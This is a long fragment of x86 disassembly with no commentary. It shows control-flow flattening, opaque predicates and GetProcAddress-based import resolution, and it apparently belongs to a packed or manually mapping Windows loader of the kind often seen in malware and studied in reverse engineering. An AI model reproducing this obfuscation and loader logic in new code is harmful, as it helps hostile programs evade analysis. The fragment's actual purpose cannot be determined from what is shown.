and eax, 0xd93ac30f
and ecx, 0x26c53cf0
or eax, ecx
mov ecx, eax
xor ecx, 0x51080207
xor eax, 0x20002860
and eax, 0xa832e968
and ecx, 0x57cd1697
or ecx, eax
mov eax, ecx
xor eax, 0xa8120068
xor ecx, 0x5841604
and ecx, 0x5a4ff04
and eax, 0xfa5b00fb
or eax, ecx
cmp eax, 0xfa5b00fb
setne cl
cmp dword [0x460980], 0xa
setge dl
mov eax, edx
or al, cl
xor cl, dl
mov edx, ecx
mov ah, al
and cl, al
xor dl, 1
not ah
or al, dl
and dl, ah
or dl, cl
mov ecx, eax
xor cl, dl
mov ecx, 0x89ae295e
cmovne ecx, esi
test dl, dl
mov edx, ecx
cmovne edx, edi
test al, al
cmovne edx, ecx
mov eax, edx
jmp 0x402900
mov eax, 0x32e79fe4
jmp 0x402900
mov eax, dword [ebp - 0x20]
mov eax, 0x44eeaf90
jmp 0x402900
mov eax, 0x9a401b3e
jmp 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x8d5404
mov esi, edx
and esi, 0x34002908
and edx, 0x4be11ab7
or ecx, esi
mov esi, ecx
xor esi, 0x801004
xor ecx, 0xff72abfb
mov edi, ecx
and edi, 0x3f2d4eab
and esi, 0x803104
or esi, edi
mov edi, eax
xor edi, 0x348d7d0c
and edi, eax
and eax, 0xb41ee548
mov ebx, edi
not ebx
and edi, 0xc0d2b154
or eax, edx
or ecx, ebx
and ebx, 0x3f2d4eab
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0x48ff5c09
and esi, 0xb700a3f6
or ecx, esi
mov esi, ecx
xor ecx, 0x891a89
xor esi, 0x7c722104
mov edx, esi
and edx, 0x8f74e476
and ecx, 0x708b1b89
or ecx, edx
mov edx, eax
xor edx, 0x300a0108
xor eax, 0x4be11ab7
or esi, eax
and eax, 0x8f74e476
and edx, 0x708b1b89
or edx, eax
not esi
xor edx, ecx
or esi, edx
mov eax, esi
not eax
and esi, 0x40d38cfc
and eax, 0xbf2c7303
or esi, eax
xor esi, 0x40d38cfc
mov esi, 0xe22e201e
setne al
sete ah
cmp dword [0x460980], 0xa
setl cl
setge dl
mov ch, cl
or cl, ah
xor ch, ah
xor cl, 1
or cl, ch
mov ch, dl
inc ch
mov ah, cl
and ch, al
inc al
xor ah, 1
and al, dl
mov dl, ah
and dl, cl
or al, ch
xor dl, 1
or dl, cl
mov cl, ah
xor dl, 1
xor cl, al
or dl, ah
xor dl, al
or al, ah
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x749d0721
cmovne eax, esi
test dl, 1
mov edx, 0x749d0721
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402900
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0xaf3e6db0
mov esi, edx
and esi, 0x50c1924e
and edx, 0x4f8cdfb6
or eax, esi
mov esi, eax
xor esi, 0x6040190
xor eax, 0x50c1924f
mov edi, eax
and edi, 0xa9ba7e69
and esi, 0x56458196
or esi, edi
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
and ecx, 0xb0732049
mov ebx, edi
not ebx
and edi, 0x56458196
or ecx, edx
or eax, ebx
and ebx, 0xa9ba7e69
or edi, ebx
not eax
xor edi, esi
or eax, edi
mov edi, 0xb5a3e79f
mov esi, eax
not esi
mov edx, eax
and edx, 0xa1963538
and esi, 0x5e69cac7
or esi, edx
mov edx, ecx
xor edx, 0x10610041
xor ecx, 0x4f8cdfb6
or eax, ecx
and ecx, 0xa1963538
and edx, 0x5e69cac7
or edx, ecx
not eax
xor edx, esi
mov esi, 0x900cf38f
or eax, edx
xor eax, 0xffffffff
sete ah
setne al
cmp dword [0x460980], 0xa
mov cl, ah
setge ch
setl dh
mov dl, ch
xor cl, dh
and al, dh
xor dl, ah
and ah, ch
xor cl, 1
and dl, ch
or al, ah
xor dl, 1
mov ah, dl
xor ah, cl
or cl, dl
xor cl, 1
or cl, ah
mov edx, ecx
mov ah, cl
xor dl, 1
and dl, cl
xor dl, 1
xor ah, dl
or dl, cl
xor dl, 1
or dl, ah
xor dl, al
mov ecx, edx
test dl, 1
not cl
cmovne esi, edi
test cl, al
cmovne esi, edi
test dl, 1
mov edx, esi
cmovne edx, edi
test cl, al
mov eax, dword [ebp - 0xec]
cmove edx, esi
inc eax
mov dword [ebp - 0x190], eax
mov eax, edx
jmp 0x402900
mov eax, dword [ebp - 0x14]
mov ecx, dword [0x460984]
mov eax, dword [eax]
mov dword [ebp - 0x170], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x4022040
mov esi, edx
and esi, 0xb3541088
and edx, 0x843bb376
or ecx, esi
mov esi, eax
xor esi, 0xb75630c8
and esi, eax
xor ecx, 0x4022040
and eax, 0x7bc44c89
or ecx, esi
not esi
or eax, edx
and esi, 0x48a9cf36
and ecx, 0xb75630c9
mov edx, eax
xor edx, 0x7bc44c89
xor eax, 0x843bb376
or ecx, esi
mov esi, 0x7f9a25e
andn edx, ecx, edx
and eax, ecx
not ecx
or eax, edx
not eax
or eax, ecx
xor eax, 0xffffffff
setne ah
sete dl
cmp dword [0x460980], 0xa
mov cl, ah
mov dh, ah
setge al
setl ch
inc cl
or dh, ch
and ch, ah
and dl, al
or cl, al
or dl, ch
mov ch, al
or al, ah
mov ebx, ecx
or cl, dh
xor ch, ah
xor al, 1
xor bl, dh
xor cl, 1
or al, ch
or cl, bl
xor al, 1
mov ah, cl
or al, dl
mov edx, eax
xor dl, 1
mov ch, dl
or dl, cl
xor cl, 1
and ah, cl
and ch, al
xor dl, 1
xor ah, 1
xor ch, 1
mov dh, ah
mov bl, ch
or ah, cl
or ch, al
xor dh, cl
xor ah, 1
xor cl, al
xor bl, al
xor ch, 1
or dl, cl
or ah, dh
or ch, bl
xor ch, ah
mov eax, edx
xor al, ch
test al, 1
mov eax, 0x2fc5a7c7
cmovne esi, eax
test dl, 1
mov eax, 0x7f9a25e
cmovne eax, esi
test ch, 1
cmove eax, esi
jmp 0x402900
mov eax, dword [ebp - 0x20]
mov esi, dword [eax]
mov eax, esi
not eax
mov ecx, esi
or ecx, 0x40000000
and esi, 0xbfffffff
mov edx, eax
and edx, 0x40000000
and eax, 0x3ad3fa24
or edx, esi
mov esi, ecx
and esi, 0xc52c05db
or eax, esi
mov esi, edx
not esi
and edx, 0x3ad3fa24
or ecx, esi
and esi, 0xc52c05db
or edx, esi
not ecx
xor edx, eax
or ecx, edx
mov edx, ecx
xor edx, 0x6c9fcb84
mov eax, ecx
and eax, 0x6c1ac184
and edx, ecx
not ecx
and ecx, 0x850a00
or eax, ecx
mov ecx, eax
xor ecx, 0x41a0004
xor eax, 0x93e53e7b
mov esi, eax
and esi, 0x79c1e1da
and ecx, 0x41e0a04
or ecx, esi
mov esi, edx
not esi
and edx, 0x863e1e25
or eax, esi
and esi, 0x79c1e1da
or edx, esi
not eax
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x6c9fcb84
and ecx, 0x9360347b
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xe0588961
and ecx, 0x1fa7769e
or eax, ecx
mov ecx, eax
xor ecx, 0x60400941
xor eax, 0x14010288
and eax, 0x941982a8
and ecx, 0x6be67d57
or ecx, eax
xor ecx, 0x6be67d57
mov dword [ebp - 0x148], ecx
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x7dbffe5a
and eax, 0x4185062
mov edx, ecx
and edx, 0x824001a5
or ecx, 0xa012509
or esi, edx
and ecx, 0xa61258d
mov edx, esi
xor esi, 0x2000101
xor edx, 0x71868a10
or eax, ecx
or esi, 0x600084
and edx, 0xf1868a10
and esi, 0xa61258d
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xfb87af19
and ecx, 0x47850e6
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and eax, 1
and edx, 0xfffffffe
and ecx, 0xfffffffe
or eax, ecx
or eax, edx
mov edx, eax
not edx
mov esi, eax
andn ecx, eax, eax
and esi, 0x7444ae1f
and edx, 0x8bbb51e0
or edx, esi
mov esi, ecx
not esi
and ecx, 0x8bbb51e0
or eax, esi
and esi, 0x7444ae1f
or ecx, esi
not eax
mov esi, 0xfcd35d0a
xor ecx, edx
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x15bbd166
mov edx, ecx
and edx, 0xea442e99
or eax, edx
xor eax, 0xea442e99
xor ecx, eax
test ecx, eax
setne ah
sete ch
cmp dword [0x460980], 0xa
setl dl
setge al
mov cl, dl
or dl, ch
and ch, al
xor al, ah
xor al, 1
and cl, ah
mov ah, al
or al, dl
or cl, ch
xor ah, dl
xor al, 1
or al, ah
mov ah, al
xor ah, 1
mov dl, ah
and dl, al
xor dl, 1
or dl, al
xor dl, 1
or dl, ah
mov ah, dl
xor dl, 1
and dl, cl
xor cl, 1
and ah, cl
or cl, al
or dl, ah
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xb43c5269
cmovne eax, esi
test cl, 1
mov ecx, 0xb43c5269
cmovne ecx, eax
test dl, dl
jmp 0x4104ca
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x1c4], eax
mov eax, 0x1fe6dab5
jmp 0x402900
mov eax, 0x9b7bd982
jmp 0x402900
mov eax, dword [ebp - 0x50]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xd0]
vmovsd xmm0, qword [eax]
vmovsd qword [ecx], xmm0
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x50]
mov ecx, dword [0x460984]
mov eax, dword [eax]
mov dword [ebp - 0x154], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0xc1060e20
and eax, 0x292018
mov edx, ecx
and edx, 0x16809181
or ecx, 0x43840480
or esi, edx
and ecx, 0x6bd444c6
mov edx, esi
xor edx, 0x80020a20
xor esi, 0x2ad040c6
or eax, ecx
and esi, 0x6bd444c6
and edx, 0x94029b21
or edx, esi
xor eax, edx
mov ecx, eax
not ecx
and eax, 0xd7869fa1
and ecx, 0x2879605e
or eax, ecx
mov esi, eax
not esi
mov edx, eax
and edx, 1
and eax, 0x7ce330cc
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
or edx, esi
mov esi, ecx
and esi, 0x831ccf33
or eax, esi
mov esi, edx
not esi
and edx, 0x7ce330cc
or ecx, esi
and esi, 0x831ccf33
or edx, esi
not ecx
mov esi, 0x4802a7d
xor edx, eax
or ecx, edx
mov eax, ecx
not eax
mov edx, ecx
and edx, 0xa3dad7ad
and eax, 0x5c252852
or eax, edx
xor eax, 0x5c252852
or eax, ecx
xor eax, 0xffffffff
sete ch
setne al
cmp dword [0x460980], 0xa
mov dh, ch
setge dl
setl ah
mov cl, dl
and dh, dl
or dl, al
xor cl, al
and al, ah
xor ah, ch
or al, dh
and cl, dl
xor dl, 1
or dl, ah
xor al, 1
mov ah, al
or al, dl
xor ah, dl
xor al, 1
mov edx, ecx
or al, ah
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x3023c18b
cmovne eax, esi
test dl, 1
mov edx, 0x3023c18b
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x402900
mov eax, dword [ebp - 0x104]
mov ecx, dword [0x460984]
mov dword [ebp - 0x164], eax
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
mov edx, eax
or edx, 0xaa506805
not ecx
and eax, 0x40030200
mov esi, ecx
and edx, 0xbbd478ef
and esi, 0x4288510
or esi, edx
mov edx, ecx
or edx, 0x118410ea
and edx, 0xbbd478ef
or eax, edx
xor eax, esi
mov edx, eax
not edx
and eax, 0x15ac95fb
and edx, 0xea536a04
or eax, edx
mov edx, eax
not edx
and eax, 0x7d3617a0
and edx, 0x82c9e85f
or eax, edx
xor eax, 0x7d3617a0
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xbe5ac54f
and ecx, 0x41a53ab0
or eax, ecx
cmp eax, 0xbe5ac54f
sete al
cmp dword [0x460980], 0xa
setl dl
xor dl, al
mov ecx, edx
xor cl, 1
and al, cl
mov ah, al
xor ah, 1
and al, ah
xor al, 1
mov ch, al
or al, ah
xor ch, ah
xor al, 1
or ah, cl
or al, ch
mov ch, dl
and ch, cl
xor ch, 1
or ch, cl
mov cl, ah
xor ch, 1
or ch, dl
mov edx, 0xe6dbda02
xor ch, al
xor cl, ch
test ah, ah
mov eax, 0x672e5be
cmovne eax, edx
test ch, 1
cmove eax, edx
test cl, 1
mov edx, 0x672e5be
cmove eax, edx
jmp 0x402900
mov eax, dword [ebp - 0x28]
mov ecx, dword [0x460984]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x114], eax
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x120000
mov ecx, edx
and ecx, 0x182c9077
and edx, 0x12ed3ec1
or esi, ecx
mov ecx, eax
and ecx, 0xe7c16f88
and eax, 0xed12c13e
xor esi, 0x120000
or eax, edx
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x183e9076
and esi, 0xe7c16f89
or ecx, esi
mov esi, ecx
not esi
mov edx, ecx
and edx, 0xe910a459
and esi, 0x16ef5ba6
or esi, edx
mov edx, eax
xor edx, 0x4024126
xor eax, 0x12ed3ec1
or ecx, eax
and eax, 0xe910a459
and edx, 0x16ef5ba6
or edx, eax
not ecx
xor edx, esi
mov esi, 0xce1b0207
or ecx, edx
xor ecx, 0xffffffff
setne ah
sete ch
cmp dword [0x460980], 0xa
setge al
setl dl
mov dh, al
mov cl, dl
xor dl, ch
xor dh, ch
and ch, al
or al, ah
and cl, ah
xor al, 1
or cl, ch
or al, dl
mov dl, dh
xor dl, al
or al, dh
xor al, 1
or al, dl
mov edx, ecx
mov ah, al
xor dl, 1
not ah
and ah, dl
or dl, al
and al, cl
or al, ah
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xf4543496
cmovne ecx, esi
test al, al
mov esi, 0xf4543496
jmp 0x411dcc
mov eax, dword [ebp - 0x60]
mov dword [eax], 0x20
mov eax, 0xb6cac41a
jmp 0x402900
mov eax, dword [ebp - 0x160]
mov ecx, 0x8e3b56cb
mov eax, dword [eax + 0x38]
mov dword [ebp - 0xfc], eax
mov eax, dword [ebp - 0x54]
cmp dword [eax + 4], 0
mov eax, 0xe3100d83
cmove eax, ecx
jmp 0x402900
mov eax, dword [ebp - 0x1a8]
mov ecx, dword [ebp - 0x1ac]
lea ecx, [ecx + ecx*4]
mov eax, dword [eax + ecx*4 + 0x10]
add eax, dword [ebp - 0x1a4]
mov ecx, dword [ebp - 0xb4]
mov dword [ecx], eax
mov eax, dword [ebp - 0x48]
mov eax, dword [ebp - 0x48]
mov dword [eax], 0
mov eax, 0xca74c9e4
jmp 0x402900
mov eax, dword [ebp - 0x74]
push dword [ebp - 0x140]
push dword [eax]
vzeroupper
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [ebp - 0x4c]
mov dword [ecx], eax
mov eax, 0xfddca21
jmp 0x402900
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0xc4], eax
mov eax, 0xf894142f
jmp 0x402900
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, edx
and ecx, 1
mov esi, eax
and esi, 0xfffffffe
and eax, 0xbcca6b04
or ecx, esi
mov esi, edx
and esi, 0xbcca6b04
mov edi, ecx
or ecx, edx
and edi, 0x433594fb
and edx, 0x433594fb
or esi, edi
or eax, edx
not ecx
xor eax, esi
mov esi, 0xb35cd64c
or ecx, eax
cmp ecx, 0xffffffff
setne cl
cmp dword [0x460980], 0xa
mov eax, ecx
setl dl
inc al
mov ah, dl
or al, dl
xor ah, cl
xor al, 1
or cl, dl
xor ah, 1
xor cl, 1
or al, ah
and ah, dl
mov edx, eax
or ah, cl
xor dl, 1
mov ecx, edx
and cl, al
xor cl, 1
or cl, al
xor cl, 1
or cl, dl
mov edx, 0xb4ff45ec
xor cl, ah
xor ah, 1
or ah, al
mov al, ah
xor al, cl
test al, 1
cmovne edx, esi
test ah, 1
mov eax, 0xb4ff45ec
cmovne eax, edx
test cl, 1
cmove eax, edx
jmp 0x402900
mov ecx, dword [0x460984]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
xor edx, 0xfffffffe
mov esi, eax
not esi
mov ecx, eax
or ecx, 1
and edx, eax
mov edi, ecx
and edi, 0xa29cb57c
and esi, 0x5d634a82
mov ebx, edx
not ebx
and edx, 0x5d634a83
or esi, edi
or ecx, ebx
and ebx, 0xa29cb57c
or edx, ebx
not ecx
xor edx, esi
mov esi, 0xd967995d
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
xor edx, ecx
test edx, ecx
setne al
cmp dword [0x460980], 0xa
setge cl
mov edx, ecx
xor dl, al
mov ah, dl
and dl, cl
or cl, al
and ah, al
xor dl, 1
xor ah, 1
mov ch, ah
xor ch, dl
or dl, ah
mov eax, 0x73d2e11f
xor dl, 1
or dl, ch
xor cl, dl
and cl, 1
cmovne esi, eax
test cl, dl
mov eax, 0xd967995d
jmp 0x40e5df
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, 0xf2e9022
jmp 0x402900
mov eax, 0xf642ba21
jmp 0x402900
mov eax, 0x5cd208c8
jmp 0x402900
mov eax, dword [ebp - 0xc8]
mov eax, dword [eax]
mov dword [ebp - 0x6c], eax
mov eax, dword [ebp - 0xb0]
mov ecx, dword [ebp - 0x34]
mov ecx, dword [ecx]
movzx ecx, word [ecx]
mov edx, ecx
not edx
and ecx, 0x1cf8
and edx, 0xffffe307
or ecx, edx
mov edx, ecx
xor ecx, 0x104
xor edx, 0x1cf8
mov esi, edx
and ecx, 0x1504
and esi, 0xffffeafb
and edx, 0x1a45
or esi, ecx
mov ecx, esi
mov edi, esi
xor esi, 0x1404
xor ecx, 0xffffeafb
xor edi, 0xfffff0be
mov ebx, ecx
and esi, 0xffff9cbf
and ebx, 0x6340
and edi, ecx
and ecx, 0xfff
or ebx, esi
or edx, edi
xor ebx, 0xffff9340
mov edi, edx
not edi
and edx, 0xffffaa8f
or ecx, ebx
and edi, 0x5570
mov esi, ecx
not esi
and ecx, 0xffffb5a1
or edx, edi
and esi, 0x4a5e
xor edx, 0x40ca
or ecx, esi
xor ecx, 0xffffb5a1
or ecx, edx
mov edx, ecx
not edx
and ecx, 0x794d
and edx, 0xffff86b2
or ecx, edx
mov edx, ecx
xor edx, 0x3940
xor ecx, 0x682
and ecx, 0x468f
and edx, 0xffffb970
or edx, ecx
mov ecx, edx
xor ecx, 0x2070
xor edx, 0x401
and edx, 0xffff9d01
and ecx, 0x62fe
or ecx, edx
xor ecx, 0x62fe
movzx ecx, cx
add ecx, dword [eax]
mov eax, 0x37116ad5
mov dword [ebp - 0x128], ecx
jmp 0x402900
mov eax, dword [ebp - 0x20]
mov eax, 0x8471c93b
jmp 0x402900
mov eax, dword [ebp - 0x1dc]
mov eax, dword [eax + 0xc]
add eax, dword [ebp - 0x1d8]
push dword [ebp - 0xe8]
push dword [ebp - 0x1d0]
push dword [ebp - 0x1d4]
push eax
vzeroupper
call fcn.00402000
add esp, 0x10
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x60]
mov eax, 0x8940f71b
jmp 0x402900
mov eax, dword [ebp - 0xe4]
mov eax, dword [0x460984]
mov esi, 0xf9cfb7c
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov edx, ecx
xor edx, 0xfffffffe
andn edx, ecx, edx
and ecx, 0x1b868f98
and eax, 0xe4797067
or eax, ecx
xor eax, 0xe4797066
or eax, edx
mov ecx, eax
not ecx
and eax, 0x8eb4274d
and ecx, 0x714bd8b2
or ecx, eax
mov eax, ecx
xor eax, 0x82340144
xor ecx, 0x714bd8b2
mov edx, ecx
and edx, 0x5c81763b
and eax, 0xa37e89c4
or eax, edx
xor eax, 0x5c81763b
xor ecx, eax
test ecx, eax
sete dh
setne ah
cmp dword [0x460980], 0xa
mov dl, dh
setge al
mov ch, al
xor dl, al
and al, dh
inc ch
mov cl, dl
and ah, ch
or ch, dh
xor cl, 1
xor ch, 1
or al, ah
or al, ch
mov ah, al
and cl, al
or al, dl
not ah
and ah, dl
mov edx, eax
or cl, ah
xor dl, cl
test dl, 1
mov edx, 0x9ea357a6
cmovne edx, esi
test al, 1
mov eax, 0x9ea357a6
jmp 0x411a5a
mov eax, dword [ebp - 0x30]
mov ecx, dword [ebp - 0x144]
mov dword [eax], ecx
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
mov esi, ecx
or esi, 1
not edx
mov eax, edx
or eax, 0xcea99a06
and esi, 0xcea99a07
and edx, 0x315665f8
or edx, esi
and eax, 0xcea99a07
xor eax, edx
mov edx, eax
not edx
and eax, ecx
andn esi, ecx, edx
or eax, esi
mov esi, 0xe8810685
not eax
or eax, edx
xor eax, 0xffffffff
sete al
setne cl
cmp dword [0x460980], 0xa
setl dl
setge ah
and al, ah
and dl, cl
or ah, cl
or al, dl
mov ecx, eax
and al, ah
xor ah, 1
xor cl, 1
mov dl, ah
xor dl, cl
and cl, ah
and dl, ah
or cl, al
mov eax, edx
xor al, cl
mov eax, 0x62739007
cmovne eax, esi
test cl, cl
mov ecx, eax
cmovne ecx, esi
test dl, dl
jmp 0x4104ca
cmp byte [ebp - 0xa2], 0
mov eax, 0xd1fb3a03
mov ecx, 0xe614de61
cmovne eax, ecx
jmp 0x402900
mov ecx, dword [0x460984]
mov ebx, 0x8fd1b367
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
not esi
mov edx, eax
xor edx, 0xfffffffe
mov ecx, eax
or ecx, 1
mov edi, ecx
and edx, eax
and edi, 0xa68e4288
and esi, 0x5971bd76
or esi, edi
mov edi, edx
not edi
and edx, 0x5971bd77
or ecx, edi
and edi, 0xa68e4288
or edx, edi
not ecx
mov edi, 0x28530b9d
xor edx, esi
mov esi, 0x8fd1b367
or ecx, edx
mov edx, ecx
not edx
and ecx, eax
andn eax, eax, edx
or ecx, eax
not ecx
or ecx, edx
xor ecx, 0xffffffff
sete al
setne dl
cmp dword [0x460980], 0xa
setl ah
setge cl
or al, cl
or ah, dl
or cl, dl
mov edx, eax
or al, ah
xor cl, 1
xor dl, ah
xor al, 1
or al, dl
xor al, cl
mov edx, eax
cmovne esi, edi
not dl
test dl, cl
cmove esi, ebx
test al, al
cmovne esi, edi
test dl, cl
cmovne esi, edi
mov eax, esi
jmp 0x402900
mov eax, dword [ebp - 0x178]
movzx eax, word [eax + 6]
mov ecx, dword [ebp - 0x174]
cmp ecx, eax
mov eax, 0x19160516
setl byte [ebp - 0x9d]
jmp 0x402900
mov eax, 0x9c4ac2a0
jmp 0x402900
cmp byte [ebp - 0x9c], 0
mov eax, 0x9c4ac2a0
mov ecx, 0x2efa9793
cmovne eax, ecx
jmp 0x402900
mov eax, dword [ebp - 0x24]
mov dword [eax], 1
mov eax, 0x79dd7ff3
jmp 0x402900
mov eax, dword [0x460984]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0xdcb9fc98
and eax, 0x23460367
or ecx, eax
mov eax, ecx
xor ecx, 0x2420241
xor eax, 0xdcb9fc98
mov edx, eax
and ecx, 0x46ca1e59
and edx, 0xb935e1a6
and eax, 1
or edx, ecx
mov esi, edx
xor esi, 0xb935e1a6
xor edx, 0x46020c50
mov ecx, esi
and esi, 0xfffffffe
or ecx, 1
and edx, 0x66274df0
or eax, esi
mov esi, ecx
and esi, 0x99d8b20e
or edx, esi
mov esi, eax
not esi
and eax, 0x66274df1
or ecx, esi
and esi, 0x99d8b20e
or eax, esi
not ecx
mov esi, 0x4802a7d
xor eax, edx
or ecx, eax
mov edx, ecx
not edx
mov eax, ecx
and eax, 0x61d05b2e
andn ecx, ecx, ecx
and edx, 0x9e2fa4d1
or eax, edx
xor eax, 0x61d05b2e
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x7a2c801a
and eax, 0x85d37fe5
or eax, ecx
mov ecx, eax
xor ecx, 0x824001a
xor eax, 0x815003a0
and eax, 0xf35883a0
and ecx, 0xca77c5f
or ecx, eax
xor ecx, 0xca77c5f
sete ah
setne cl
cmp dword [0x460980], 0xa
setge al
setl ch
mov edx, eax
or al, cl
xor dl, cl
xor cl, ch
and dl, ah
not cl
mov ah, dl
and cl, ch
xor dl, cl
xor ah, 1
xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
mov ah, cl
mov edx, ecx
and ah, al
xor al, 1
xor dl, 1
and dl, al
or dl, ah
mov ah, al
or al, cl
xor ah, cl
xor al, 1
or al, ah
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xfebd7009
cmovne ecx, esi
test al, 1
mov eax, 0xfebd7009
jmp 0x40e473
mov eax, dword [0x460984]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov esi, edx
and esi, 0x5f31d09e
mov ecx, eax
and ecx, 0xa0ce2f60
and eax, 0x83183d01
or esi, ecx
mov ecx, edx
or ecx, 0xb7ec46c2
mov edi, esi
xor edi, 0x4811901c
xor esi, 0xa0cc0640
and ecx, 0xb7ec46c3
and esi, 0xb7ec46c2
and edi, 0x4813b93c
or edi, esi
xor ecx, edi
mov esi, ecx
not esi
mov edi, ecx
or ecx, edx
and edx, 0x7ce7c2fe
and edi, 0x7ce7c2fe
and esi, 0x83183d01
or eax, edx
not ecx
or esi, edi
mov edi, 0x8ce82623
xor eax, esi
mov esi, 0xfad9d15d
or ecx, eax
mov eax, ecx
not eax
and ecx, 0xfae9046c
and eax, 0x516fb93
or ecx, eax
xor ecx, 0xfae9046c
setne ah
sete al
cmp dword [0x460980], 0xa
mov ch, ah
setl dl
setge cl
or ch, dl
xor dl, ah
or al, cl
and cl, dl
mov dh, al
or al, ch
xor cl, 1
xor dh, ch
xor al, 1
mov ah, cl
or cl, dl
or al, dh
xor ah, dl
not cl
mov edx, 0x8ce82623
or cl, ah
xor cl, al
and cl, 1
cmovne edx, esi
test cl, al
cmovne edx, edi
test cl, cl
cmovne edi, edx
test cl, al
cmove edi, edx
mov eax, edi
jmp 0x402900
mov ecx, dword [0x460984]
mov esi, 0x793dfad5
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
xor ecx, 0x6ff4bb59
and edx, 0x6ff4bb59
and ecx, eax
or ecx, edx
mov edx, ecx
not edx
and ecx, 0xdb354ca
and edx, 0xf24cab35
or ecx, edx
mov edx, ecx
xor edx, 0x6247ef92
xor ecx, 0x9db8106d
and edx, eax
andn eax, eax, ecx
or edx, eax
xor ecx, edx
test ecx, edx
sete cl
cmp dword [0x460980], 0xa
setl ch
mov al, ch
or ch, cl
xor al, cl
xor ch, 1
or ch, al
mov cl, al
mov ebx, eax
mov dl, ch
mov ah, ch
not cl
xor dl, 1
and cl, al
and ah, dl
xor cl, 1
xor ah, 1
xor bl, cl
or cl, al
or ah, dl
xor cl, 1
xor ah, 1
or cl, bl
or ah, ch
mov dh, ah
xor dh, 1
and dh, cl
xor cl, 1
and cl, ah
mov ah, dl
or dl, al
xor ah, al
xor dl, 1
or cl, dh
or dl, ah
mov eax, edx
xor al, cl
test dl, 1
mov edx, 0x1827ce88
cmovne edx, esi
test cl, 1
cmove edx, esi
test al, 1
mov eax, 0x1827ce88
jmp 0x412b78
mov eax, dword [0x460984]
mov edi, 0xc9e384bf
lea ecx, [eax + 1]
imul ecx, eax
mov esi, ecx
not esi
mov eax, ecx
and eax, 0x4cdeca02
mov edx, esi
and edx, 0xb32135fc
and esi, 0xa8e23566
or edx, eax
mov eax, ecx
or eax, 0x4cdeca02
and ecx, 0x571dca99
and eax, 0x4cdeca03
or ecx, esi
xor eax, edx
mov edx, eax
not edx
mov esi, eax
and esi, 0xae747bcd
and edx, 0x518b8432
or edx, esi
mov esi, ecx
xor esi, 0x51098010
xor ecx, 0xa8e23566
or eax, ecx
and ecx, 0xae747bcd
and esi, 0x518b8432
or esi, ecx
not eax
xor esi, edx
or eax, esi
mov esi, 0xfb0b52a5
mov ecx, eax
not ecx
and eax, 0x3f9ba490
and ecx, 0xc0645b6f
or eax, ecx
xor eax, 0x3f9ba490
setne dl
sete al
cmp dword [0x460980], 0xa
mov dh, dl
setl ah
setge ch
mov cl, ah
or dl, ah
and dh, ch
and cl, al
xor al, ah
and al, ah
mov ah, dl
or cl, dh
xor al, 1
xor cl, 1
xor ah, al
or al, dl
or cl, ch
xor al, 1
or al, ah
mov edx, eax
and al, cl
xor cl, 1
xor dl, 1
mov ah, cl
xor ah, dl
and dl, cl
or dl, al
and ah, cl
mov ecx, 0xfb0b52a5
mov al, dl
xor al, ah
test dl, 1
cmovne ecx, edi
test ah, 1
cmove ecx, esi
test al, 1
cmovne ecx, edi
mov eax, ecx
jmp 0x402900
mov eax, dword [ebp - 0x70]
mov eax, dword [eax]
mov dword [ebp - 0x188], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [eax]
mov dword [ebp - 0x18c], eax
mov eax, 0xa0eff79
jmp 0x402900
mov eax, 0xa1818cfb
jmp 0x402900
mov eax, dword [ebp - 0xb4]
mov eax, dword [eax]
mov dword [ebp - 0x138], eax
mov eax, dword [ebp - 0x48]
